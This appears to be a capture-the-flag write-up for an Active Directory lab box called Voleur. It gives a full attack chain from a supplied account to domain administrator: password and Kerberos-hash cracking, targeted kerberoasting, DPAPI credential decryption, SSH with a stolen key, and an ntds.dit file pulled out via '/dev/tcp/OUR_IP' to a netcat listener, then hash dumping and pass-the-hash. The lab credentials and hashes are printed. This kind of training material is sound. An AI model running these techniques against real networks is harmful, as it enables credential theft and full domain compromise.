Voleur
Voleur is a medium difficulty active directory box. It is an assumed breach machine which means we start with some credentials which we can use to enumerate the domain. This machine does not allow password or NTLM login which means that we must use kerberos to authenticate to the domain. After enumerating the shares with the ryan.naylor
user we find a password protected excel file which we can access after cracking its password with john. This excel file contains a lot of credentials and useful information. We get access to the svc_ldap
user which can write the service principal name (SPN) of the svc_winrm
user which lets us perform a targeted kerberoast attack. After cracking the password we can PSRemote to the domain controller with evil-winrm. The svc_ldap
service account is a member of the restore users group which allows us to restore a deleted account which grants us access to a new share that contained a backup of this deleted user’s home directory. This home directory contain DPAPI credentials which after uncovering provides us with credentials for yet another user. This user can read an id_rsa key that belongs to the svc_backup
service account which can login via ssh and view the backup files of the NTDS.dit and SYSTEM files. This allows us to dump all the hashes in the domain granting us admin access.
The main thing to remember in this box is the kerberos authentication and the clock skew problems. Clock skew is sometimes weird in the sense that some commands will fail and will give an error message that does not really hint that the problem was the clock skew. For this box I found ntpdate to be troublesome as it was very inconsistent, I instead used faketime which instead will change the time for the command being ran.
Nmap Scan
The nmap scan shows the default ports for a domain controller except for port 2222 which has ssh running on it which is very uncommon and probably will come in use later on.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Nmap scan report for 10.129.88.54
Host is up (0.038s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-08 20:00:24Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
2222/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 42:40:39:30:d6:fc:44:95:37:e1:9b:88:0b:a2:d7:71 (RSA)
| 256 ae:d9:c2:b8:7d:65:6f:58:c8:f4:ae:4f:e4:e8:cd:94 (ECDSA)
|_ 256 53:ad:6b:6c:ca:ae:1b:40:44:71:52:95:29:b1:bb:c1 (ED25519)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Service Info: Host: DC; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel
Host script results:
|_smb2-time: ERROR: Script execution failed (use -d to debug)
|_smb2-security-mode: SMB: Couldn't find a NetBIOS name that works for the server. Sorry!
Ldap leaks the domain name to be voleur.htb
SMB fails to give us a DC hostname but for now we can already add the domain name into our /etc/hosts
file. You can probably guess that the hostname will be either dc.voleur.htb
or dc01.voleur.htb
. After the nmap scan I try to authenticate with netexec to view the different shares the user ryan.naylor
has available but we get the following error.
Viewing the Available Shares
1
2
3
netexec smb voleur.htb -u ryan.naylor -p HollowOct31Nyt
SMB 10.10.11.76 445 10.10.11.76 [*] x64 (name:10.10.11.76) (domain:10.10.11.76) (signing:True) (SMBv1:False)
SMB 10.10.11.76 445 10.10.11.76 [-] 10.10.11.76\ryan.naylor:HollowOct31Nyt STATUS_NOT_SUPPORTED
This tells us that this authentication method is not supported by the domain controller and we must use kerberos instead. To get a valid ticket we can use imapcket’s getTGT.py. Note that I am already using faketime with a clock skew of 8 hours. If you are wondering how I know it is 8 hours, it is because I ran a command (I forgot which one) and it told me exactly the clock skew to the server. I also export the ticket so it is in our cache and we can view it with klist.
Requesting a Valid Ticket
1
2
3
4
5
6
faketime -f "+8h" getTGT.py -dc-ip 10.10.11.76 voleur.htb/ryan.naylor:HollowOct31Nyt
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in ryan.naylor.ccache
export KRB5CCNAME=ryan.naylor.ccache
1
2
3
4
5
6
7
klist
Ticket cache: FILE:ryan.naylor.ccache
Default principal: ryan.naylor@VOLEUR.HTB
Valid starting Expires Service principal
12-07-25 14:31:53 13-07-25 00:31:53 krbtgt/VOLEUR.HTB@VOLEUR.HTB
renew until 13-07-25 14:31:52
After exporting the ticket we can now authenticate as ryan with netexec with the following command, note the importance of using the hostname dc.voleur.htb
and the use of the --use-kcache
flag to tell netexec to use the kerberos ticket we exported earlier.
1
2
3
faketime -f "+8h" netexec smb dc.voleur.htb -u ryan.naylor -k --use-kcache
SMB dc.voleur.htb 445 dc [*] x64 (name:dc) (domain:voleur.htb) (signing:True) (SMBv1:False)
SMB dc.voleur.htb 445 dc [+] voleur.htb\ryan.naylor from ccache
To enumerate the shares this user has access to I am currently preferring the spider module netexec provides to download all the share folders locally. I do this as I find it easier to manage the files on my own machine and in the case we get other user’s credentials I can more easily view if there are any extra shares or files that the original user did not have access to.
1
2
3
faketime -f "+8h" netexec smb dc.voleur.htb -u ryan.naylor -k --use-kcache --shares -M spider_plus -o DOWNLOAD_FLAG=True
SMB dc.voleur.htb 445 dc [*] x64 (name:dc) (domain:voleur.htb) (signing:True) (SMBv1:False)
SMB dc.voleur.htb 445 dc [+] voleur.htb\ryan.naylor from ccache
Cracking the Password Protected Spreadsheet
Inside the IT share we find a password protected excel file. To get the hash we can use john’s office2john.py
. After getting the hash we can crack it using john again with the rockyou.txt wordlist.
1
2
3
4
5
6
7
8
9
./office2john.py Access_Review.xlsx > file.hash
john file.hash --wordlist=/usr/share/wordlists/rockyou.txt
<SNIP>
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
football1 (Access_Review.xlsx)
1g 0:00:00:06 DONE (2025-07-12 06:48) 0.1621g/s 126.4p/s 126.4c/s 126.4C/s football1..armando
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
We can now open the file to view its contents. We get credentials for some interesting service accounts, a deleted account and some hints on how to proceed.
We can now run bloodhound from our machine to see what ACL’s these users might have.
1
KRB5CCNAME=ryan.naylor.ccache faketime -f "+8h" bloodhound-python -k -dc dc.voleur.htb -c all -d voleur.htb -u ryan.naylor -no-pass --auth-method kerberos -ns 10.10.11.76 --zip
Looking through the bloodhound data I try to find ACLs that affect the svc_winrm
or any of the other users that have a higher support tech role. I found that the svc_ldap
user for which we have credentials can change the SPN of the svc_winrm
user which lets us perform a kerberoast attack.
Performing a Targeted Kerberoast
To perform this attack we must first get a valid kerberos ticket for the svc_ldap
user similar to what we did above we can use getTGT for this.
1
faketime -f "+8h" getTGT.py -dc-ip 10.10.11.76 voleur.htb/svc_ldap:M1XyC9pW7qT5Vn
Once we have the ticket exported we can then use the targetedKerberroast.py
script to perform the kerberoast attack automatically. We can then save the hashes into a file and we can try cracking them with hashcat.
1
2
3
4
5
6
7
8
9
10
11
12
13
faketime -f "+8h" python3 ../administrator/targetedKerberoast/targetedKerberoast.py -v -d 'voleur.htb' -u 'svc_ldap' -k --no-pass --dc-host dc.voleur.htb
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[VERBOSE] SPN added successfully for (lacey.miller)
[+] Printing hash for (lacey.miller)
$krb5tgs$23$*lacey.miller$VOLEUR.HTB$voleur.htb/lacey.miller*
<SNIP>
[VERBOSE] SPN removed successfully for (lacey.miller)
[VERBOSE] SPN added successfully for (svc_winrm)
[+] Printing hash for (svc_winrm)
$krb5tgs$23$*svc_winrm$VOLEUR.HTB$voleur.htb/svc_winrm*
<SNIP>
[VERBOSE] SPN removed successfully for (svc_winrm)
1
2
3
4
hashcat hashes.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
$krb5tgs$23$*svc_winrm$VOLEUR.HTB$voleur.htb/svc_winrm
<SNIP>:AFireInsidedeOzarctica980219afi
Using evil-winrm with a Kerberos Ticket
We are able to crack the hash for the svc_winrm
user which gives PSRemote access to the domain controller. To do this we must use evil-winrm which can a bit picky with kerberos authentication. First we must edit our /etc/krb5.conf
to look like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
[libdefaults]
default_realm = VOLEUR.HTB
dns_lookup_kdc = false
dns_lookup_realm = false
[realms]
VOLEUR.HTB = {
kdc = dc.voleur.htb
}
[domain_realm]
.voleur.htb = VOLEUR.HTB
voleur.htb = VOLEUR.HTB
To generate this conf file we can issue the following command to netexec which will create the conf file for us, we can then just copy it.
1
netexec smb DC.voleur.htb --generate-krb5-file voleur.krbconf
We also have to get a valid ticket for the svc_winrm
user before we can use evil-winrm. Once we have the ticket and have it exported we can run the following command to start the PSRemote session. It is very important to use the correct names in the command dc.voleur.htb
for -i
and voleur.htb
for -r
1
2
3
4
faketime -f "+8h" evil-winrm -i dc.voleur.htb -r VOLEUR.HTB
Evil-WinRM shell v3.5
*Evil-WinRM* PS C:\Users\svc_winrm\Documents> cat ~/Desktop/user.txt
bc29a2ecd<SNIP>
Restoring the Deleted Account
To progress in this box we must go back to the excel spredsheet we found earlier specifically we should take a loot at the Notes section for the Todd.Wolfe user which says: "Leaver. Password was reset to NightT1meP1dg3on14 and account deleted."
. One thing to notice is that the svc_ldap
user we used earlier belongs to the Restore Users
group, this is not a default Active Directory group but its name is pretty self explanatory. Since Todd is a Second line Support Technician we may be able to find some extra files, as of now the only files we are able to read are First Line. To enable the account again we can use BloodyAD.
1
2
faketime -f "+8h" bloodyAD -d voleur.htb -u 'svc_ldap' -k --host DC.voleur.htb set restore todd.wolfe
[+] todd.wolfe has been restored successfully under CN=Todd Wolfe,OU=Second-Line Support Technicians,DC=voleur,DC=htb
With the account enabled we can then request a ticket and export it similar to what we did before.
1
2
3
4
5
6
faketime -f "+8h" getTGT.py -dc-ip 10.10.11.76 voleur.htb/todd.wolfe:NightT1meP1dg3on14
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in todd.wolfe.ccache
export KRB5CCNAME=todd.wolfe.ccache
Exposing the DPAPI Secret
Since this user belongs to the Second-Line Support Technician’s group he may have access to more files inside the IT share. To verify this I again download the entire share into my local machine. We can see that this user has a backup of his netire home directory. We can navgiate to the /IT/Second-Line Support/Archived Users/todd.wolfe/AppData/Roaming/Microsoft
directory to view that this user has some DPAPI credentials stored inside roaming. To decrypt these keys we need the user’s password and SID. The SID can be found inside of the /Protect
folder and we are given the password of this user in the spreadsheet.
I used pypykatz to decrypt the password. We first need to get the prekey which we can do with the following command:
1
pypykatz dpapi prekey password 'S-1-5-21-3927696377-1337352550-2781715495-1110' 'NightT1meP1dg3on14' | tee pkf
Once done we can then create the masterkey file with the following command:
1
pypykatz dpapi masterkey Protect/S-1-5-21-3927696377-1337352550-2781715495-1110/08949382-134f-4c63-b93c-ce52efc0aa88 pkf -o mkf
Finally we can decrypt the password:
1
2
3
4
5
6
pypykatz dpapi credential mkf Credentials/772275FAD58525253490A9B0039791D3
type : DOMAIN_PASSWORD (2)
last_written : 133826289190701021
target : Domain:target=Jezzas_Account
username : jeremy.combs
unknown4 : b'q\x00T\x003\x00V\x009\x00p\x00L\x00X\x00y\x00N\x007\x00W\x004\x00m\x00'
We get the password of the jeremy.combs user. The data encoding is messed up so I use python to convert it into utf-16
1
2
3
4
5
6
python3
Python 3.11.2 (main, Nov 30 2024, 21:22:50) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> data = b'q\x00T\x003\x00V\x009\x00p\x00L\x00X\x00y\x00N\x007\x00W\x004\x00m\x00'
>>> data.decode('utf-16le')
'qT3V9pLXyN7W4m'
Reading the New Share
This user is able to PSRemote into the domain controller and he has a higher level of suppport. Which means we might again be able to read sensitive files we did not have access to earlier. Before using evil-winrm remember to get a valid ticket and export it. Navitating to the Third Line Support share we can see a note, a backups folder, whcih we do not have access to and private key for a user.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
*Evil-WinRM* PS C:\IT\Third-Line Support> ls
Directory: C:\IT\Third-Line Support
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 1/30/2025 8:11 AM Backups
-a---- 1/30/2025 8:10 AM 2602 id_rsa
-a---- 1/30/2025 8:07 AM 186 Note.txt.txt
*Evil-WinRM* PS C:\IT\Third-Line Support> cat Note.txt.txt
Jeremy,
I've had enough of Windows Backup! I've part configured WSL to see if we can utilize any of the backup tools from Linux.
Please see what you can set up.
Thanks,
Admin
*Evil-WinRM* PS C:\IT\Third-Line Support> cd Backups
*Evil-WinRM* PS C:\IT\Third-Line Support\Backups> ls
Access to the path 'C:\IT\Third-Line Support\Backups' is denied.
<SNIP>
Using the Private Key to SSH to WSL
One intersting user we saw before in the excel spreadsheet was the svc_backup
, the backups user usually has some high priviledge for example this servcie might be able to backup the entire domain into a folder which might give us access to the ntds.dit file whcih would give us access to all the hashes in the domain. Remember that we saw ssh was running on the domain controller on port 2222 before in the nmap scan. We can copy the id_rsa
file into our machine and then use ssh to login as the svc_backup
.
1
2
chmod 600 id_rsa
ssh -i id_rsa svc_backup@voleur.htb -p 2222
Since we know that this Linux system is WSL we can navitate to the /mnt
directory whcih will contain the entire file system of the domain controller. We can then access the Backups
folder we had access denied to earlier.
1
2
3
4
5
6
svc_backup@DC:/mnt/c/IT/Third-Line Support/Backups$ ls
'Active Directory' registry
svc_backup@DC:/mnt/c/IT/Third-Line Support/Backups$ ls Active\ Directory/
ntds.dit ntds.jfm
svc_backup@DC:/mnt/c/IT/Third-Line Support/Backups$ ls registry/
SECURITY SYSTEM
Dumping the Domain Hashes
We strike gold, we can decrypt the ntds.dit file with the Security registry copy. We can transfer the files back to our machine, wget did not really work for me so I used netcat to transfer the files as follows:
1
2
3
4
5
Start a listener on our machine redirecting output to a file
nc -lvnp 9001 > ntds.dit
Send the file from the DC
cat ntds.dit > /dev/tcp/OUR_IP/9001
Repeat the process for the SYSTEM file
One we have both of these files we can dump the hashes from the domain using the following command:
1
2
3
4
5
6
7
8
9
10
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0xbbdd1a32433b87bcc9b875321b883d2d
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 898238e1ccd2ac0016a18c53f4569f40
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e656e07c56d831611b577b160b259ad2:::
<SNIP>
With the lmhash:nthash from the Administrator user we can reqeust a ticket with getTGT and login with evil-winrm
1
2
3
4
5
6
7
8
9
10
11
12
faketime -f "+8h" getTGT.py -dc-ip 10.10.11.76 voleur.htb/Administrator -hashes aad3b435b51404eeaad3b435b51404ee:e656e07c56d831611b577b160b259ad2
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in Administrator.ccache
export KRB5CCNAME=Administrator.ccache
faketime -f "+8h" evil-winrm -i dc.voleur.htb -r VOLEUR.HTB
Evil-WinRM shell v3.5
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cat ~/Desktop/root.txt
05122edb7<SNIP>